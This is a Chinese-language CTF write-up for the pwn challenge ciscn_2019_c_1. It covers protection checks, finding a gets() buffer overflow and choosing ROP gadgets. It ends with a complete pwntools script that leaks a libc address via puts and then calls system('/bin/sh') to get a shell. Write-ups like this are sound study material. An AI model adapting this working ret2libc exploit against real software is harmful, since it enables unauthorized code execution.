一、查保护
NX与ASLR都开启了,不白给了。
二、代码审计
然而没有发现callsystem后门函数,开了NX需要自己构造ROP链。
基本思路:encrypt()里面的get()可以溢出,栈大小为50h。puts()可以用来泄露libc基址。
三、过程
ROPgadget --binary ./ciscn_2019_c_1
可以查看文件拥有的gadget。
这里我们会用到0x00000000004006b9 : ret
用于栈对齐,0x0000000000400c83 : pop rdi ; ret
用于控制puts输出。
需要溢出两次,所以第一次溢出需要返回主函数。
四、脚本
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
#io = process('./ciscn_2019_c_1')
io=remote('node3.buuoj.cn',25647)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_sym=elf.sym['puts']
__libc_start_main=elf.got['__libc_start_main']
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(__libc_start_main)+p64(puts_sym)+p64(main)
sla('encrypted\n',payload)
rl()
rl()
__libc_start_main=u64(ru('\n')[:-1].ljust(8,'\0'))
#print(__libc_start_main)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
libc_addr=__libc_start_main-libc.dump('__libc_start_main')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)
io.interactive()